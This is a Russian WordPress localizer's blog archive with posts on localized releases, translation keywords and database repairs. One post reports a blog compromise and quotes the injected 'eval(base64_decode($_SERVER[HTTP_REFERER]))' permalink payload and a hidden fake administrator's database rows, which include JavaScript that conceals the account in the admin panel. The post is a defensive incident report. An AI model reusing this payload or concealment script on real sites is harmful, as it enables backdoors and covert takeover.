Hostenko — лучший WordPress-хостинг

Архивы блога

Русский WordPress 2.8.6 Lecactus Edition

Russian WordPress 2.8.6 Powerpack

Скачать
Скачали 34224 раз

Russian WordPress 2.8.6 Normal

Скачать
Скачали 12937 раз

Патч для обновления WordPress 2.8.4 до 2.8.5

Скачать
Скачали 2665 раз

Патч для обновления WordPress 2.8.5 до 2.8.6

Скачать
Скачали 2288 раз

496 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 100, средний: 4.17 из 5)
Loading ... Loading ...

Ахтунг! Атаки на WordPress блоги

Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
wp-ahtung
Phpmyadmin выдает при этом примерно такое:

Lost connection to MySQL server during query

и не отвечает сервер минут 50 после этого…

Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:

%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):

(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n          var t=document.getElementById("user_superuser");\n              while(t.nodeName!="TR"){\n                      t=t.parentNode;\n               };\n            t.parentNode.removeChild(t);\n          var tags = document.getElementsByTagName("H3");\n               var s = " shown below";\n               for (var i = 0; i < tags.length; i++) {\n                       var t=tags[i].innerHTML;\n                      var h=tags[i];\n                        if(t.indexOf(s)>0){\n                           s =(parseInt(t)-1)+s;\n                         h.removeChild(h.firstChild);\n                          t = document.createTextNode(s);\n                               h.appendChild(t);\n                     }\n             }\n             var arr=document.getElementsByTagName("ul");\n          for(var i in arr) if(arr[i].className=="subsubsub"){\n                  var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n                      if(n[1]>0){\n                           var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n        arr[i].innerHTML=txt;\n        }\n    }\n          }catch(e){};\n     };\n     addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');

вот этот поддельный администратор "хакер"

(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');

Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко тут

так что обновляйтесь регулярно :-)

28 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 8, средний: 3.88 из 5)
Loading ... Loading ...

Разобрался таки с кривым официальным wordpress.pot

Гуглил, гуглил по разным запросам и нагуглил вот такой хитрый файлик, который типа извлекает все ресурсы как надо. Мне точнее было интересно больше какие ключевые слова используются, т.к. все собирал гуглом по крупицам и вот сейчас наконец POEDIT перестал выдрепываться и заработал как надо при извлечении ресурсов.
Тот файл wordpress.pot что выложен на wordpress.org настолько кривой что вообще лучше его не использовать, т.к. он основан на уже будущей версии 2.9 и к 2.8.* подходит не на 100%

Чем руководствовались авторы? зачем с только премудростей если раньше без них обходились? в официальной документации про это ни слова. там старое бла-бла-бла про

__($message)
и
_e($message)

В общем в версии 2.8.* используется аж вот столько ключевиков для локализации:

__
_e
_c
__ngettext:1,2
_n:1,2
_nc:1,2
__ngettext_noop:1,2
_n_noop:1,2
_x:1,2c
_nx:1,2,4c
_nx_noop:1,2,3c
esc_attr__
esc_attr_e
esc_attr_x:1,2c
esc_html__
esc_html_e
esc_html_x:1,2c

Причем о конструкции некоторых элементов можно было только примерно догадываться и на основе этого гуглить. Также нашел одну тему про это на официальном форуме, но там был вопрос только про один из ключевиков и все.

10 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 7, средний: 4.57 из 5)
Loading ... Loading ...

Пара слов от Кактуса про WP…

1. у меня стало заметно МЕНЬШЕ свободного времени, поэтому не надо кричать в коментах “когда выйдет версия ***” :-( День-два всегда можно подождать, я и сам стал РЕЖЕ обновляться (зачем если и так ВСЕ работало без проблем).
2. по поводу возможных багов в переводах (сапог в авторов кривого выкладываемого wordpress.pot) просьба писать на мыло, а не в коменты. коменты такие будут безжалостно удаляться
3. версии 2.8 и 2.8.1 удалены как устаревшие и уязвимые. вместо них выложена версия 2.8.2 на месте поста 2.8. если найду время лишнее, то напишу таки описание что и как. Самые страждущие уже все равно все нагуглили.
4. состав поверпака будет еще корректироваться, т.к. некоторые плагины более не совместимы с 2.8 + вышли новые интересные, достойные внимания каждого.
5. скорее всего я удалю с сайта старые версии плагинов и оставлю там только их переводы (выложу где надо обновленные), что вполне логично с учетом того как ЧАСТО стали обновляться плагины
6. перевод WPMU 2.8.* еще не готов, т.к. см. пункт 1 + нет спонсоров, которые бы сподвигли меня ускорить процесс, так что еще может даже НЕДЕЛЮ его не будет. Если хотите – можете использовать перевод от “официальной группы”, если очень “горит” обновиться. Хотя в подавляющем случае перевод от прошлых версий подходит на 80-90%.
7. я НЕ всем отвечаю на почту, во первых см. пункт 1, во вторых там многда пишут откровенную хрень (лень полистать 5 минут форумы?) на которую и отвечать нет желания.
8. отпуск скоро………………………………………………

17 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 4, средний: 4.50 из 5)
Loading ... Loading ...

19 минутная болтовня ниочем

Валялся под столом :-) Меня приглашали поучаствовать, но я решил что оно того не стоит. Так оно и вышло. Болтовня вообще ниочем. Самопиар и ничего больше.
слушать тут, если кто пропустил. Там указано что длительность 23 минуты, но в скачанном файле всего 18минут 57секунд. В коментах (они интереснее подкаста) упоминаются какие то “маты” в мой адрес, но я их в скачанном файле не услышал(отредактировали похоже…)

18 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 4, средний: 5.00 из 5)
Loading ... Loading ...

Что то релиз WP2.8 выбился снова из графика

Должен был еще пару дней назад выйти по расписанию. Это уже какой то традицией стало

UPDATE: как пишут разработчики – передвинули релиз на 10 июня (http://wordpress.org/development/2009/06/summary-of-wordpress-dev-irc-meetup-for-20090603/)

Обсуждение закрыто

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 7, средний: 3.43 из 5)
Loading ... Loading ...

Кодировки, поврежденные базы данных и т.п.

Ага, про них я писал уже не раз, но постоянно сталкиваюсь с большими и большими извращениями. Некоторые “рецепты счастья” я уже публиковал, но и они не всегда спасают. За последние три  дня правил три очень запущенные базы. Несмотря на то что две из них были на одном хостинге и в пхпмайдмине выглядели закорючки одинаково – их состояние было различным и исправлял я глюки в них совершенно разными способами. Методом подстановок, скрещивания дампов разных версий, отката и наката разных версий движка, пересохранением всех записей через “быструю правку” для исправления ссылок и привязки к рубрикам (уже рука набита) и т.д. В итоге на каждую базу затратил в примерно по 2 часа, но результат радует. Одну базу еще немного поправить только надо (не все буквы И и ш еще пофиксены). Третья база также страдала этой “двухбуквенной болезнью”, но там текста было на порядок меньше.

Но в целом – за час или полдня, но все базы лечатся как я уже убедился за пару лет. И примерно в 70% случаев когда ко мне обращаются за обновлением движка различных  версий, у пользователей поврежденная база в той или иной степени, но они про это не догадываются т.к. выглядит все нормально вроде пока не решатся сами обновиться (либо хостер подсунет свинью в виде внепланового обновления софта).

2 комментария

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 3, средний: 5.00 из 5)
Loading ... Loading ...

В ожидании релиза WP2.8

Наверное заметили уже все что про версию 2.8 я не писал вообще еще ничего, хотя она выходит финальная вроде через 10 дней “по графику”. Обзор новых функций писали уже (на Хабре и еще где то). Скажу лишь кратко – 2.8 это сильно-улучшенный 2.7, где все новые фичи 2.7 довели немного до ума, сделали наконец подсветку кода в редакторах тем/плагинов, сделали сохранение настроек виджетов при их деактивации (точнее теперь настроенные-отключенные и вообще не активированные виджеты это вообще разные группы). Добавили справочной информации(правда очень мало и в основном переместили туда то что выводилось раньше внизу страниц админки. И сами эти выползающие панели настроек экрана и помощи стали шевелиться гораздо быстрее. Из новинок заметил что в папке wp-includes теперь появилась папка POMO где есть несколько файликов, отвечающих за систему локализации + теперь юзерам предлагается навязчиво сменить сгенерированный пароль после установки движка или восстановления пароля, правда напоминание можно отключить. Добавились подсказки для пользователей вебсерверов Microsoft (по настройке ЧПУ). Мелочь, а полезно. Каких-либо несовместимостей плагинов не заметил, все что работало на 2.7.1 работает у меня и на бете 2.8. По скорости работы не быстрее и не медленнее 2.7.*

Из того что интересно мне: не понял еще нафига впихали (что то коло 500 названий городов/стран) в локализуемые строки, хотя в самом том файле сказано что нигде он пока вроде не используется и в самой админке на странице выбора часового пояся все равно все по английски. думаю к финальной версии может это и пофиксят. пока что я локализовал только треть названий городов (остальные вообще не вижу смысла, т.к. никому наверняка не нужны названия городов/регионов на русском где нибудь в Бразилии), но может и их допереведу, если все же в админки они будут выводиться как и положено.
Добавились также новые проверки обновлений из-за появившегося инсталлятора тем оформления (я плагин блокировки обновлений уже обновил и выложил новую версию, если кто заметил) и немного изменился механизм автообновления самого движка (все тоже уже протестировал и внес поправки где надо).

26 комментариев

Не понравилосьМогло быть лучшеНеплохоХорошоОтлично! (голосов: 6, средний: 4.17 из 5)
Loading ... Loading ...